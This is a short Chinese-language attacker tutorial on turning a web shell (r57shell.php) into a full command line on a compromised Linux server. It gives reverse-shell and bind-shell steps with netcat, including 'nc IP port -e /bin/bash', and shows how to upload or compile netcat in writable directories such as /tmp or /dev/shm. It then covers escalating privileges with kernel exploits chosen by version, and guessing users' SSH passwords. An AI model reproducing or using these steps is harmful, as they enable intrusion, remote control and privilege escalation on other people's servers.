方法一:


利用shell本身的功能(以r57shell.php为列):


1.back connect功能.
首先在本机(外网)nc监听某个端口:nc -vv -l -p 11457,然后shell中添上你本机的IP及端口,如果情况好即可获得一个cmdline.
你可以选择是perl还是c(这个很重要,很多时候换个就能成功)

2.Bind port to /bin/bash功能.
添上端口和密码,你还是可以选择是perl还是c(这个很重要,很多时候换个就能成功),然后点击Bind按钮,在去本机nc IP(shell) port 如果成功,会提示你输入密码.就会得到一个cmdline.

方法二:


上传perl版的nc或者服务器远程编译nc:
1.上传perl版的nc
首先在本机(外网)nc监听某个端口:nc -vv -l -p 11457,然后shell执行命令perl nc.pl 本机IP port,如果情况好即可获得一个cmdline.
2.服务器远程编译nc.
这种方法主要用在服务器没有安装nc的情况下,如果服务器有nc则好说,直接本机(外网)nc监听某个端口:nc -vv -l -p 11457,然后shell执行命令nc 本机IP port -e /bin/bash(没有bash就用sh).
编译nc.先去下载netcat的源码包,放到/tmp/ 或者/dev/shm下..反正用mount命令看看服务器挂载的情况.如果服务器加入了noexec,nosuid等就不要放在该目录下.如:
/dev/sda3 on / type ext3 (rw)
none on /proc type proc (rw)
none on /sys type sysfs (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/sda1 on /boot type ext3 (rw)
none on /dev/shm type tmpfs (rw)
/dev/sda6 on /var type ext3 (rw)
/dev/sda2 on /www type ext3 (rw,quota)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
下面就是编译的事了,./configure,make就行了(服务器一定要有C编译器).编译完成就可以用这个nc来使用了(用绝对路径),使用方法和前面相同.

3.提权服务器
当得到一个cmdline后,就可以查看内核的版本(uname -r),然后根据对应的溢出程序来提权.



三:可能遇到的问题:
1.shell无法反弹过来,通过以上的方法还是无法成功反弹,这时我们可以猜测服务器普通用户的密码来登录ssh(一般有很多站点).在进行下一步操作.
2.服务器没有C编译器.无法编译溢出程序.这时我们只需上传自己已经编译好的溢出程序,上传到服务器,然后设置相关的权限即可.
3.明明已经提权成功,但使用useradd userdel等一些命令的时候却出现命令无法找到,这时我们只需要执行su -命令即可.
...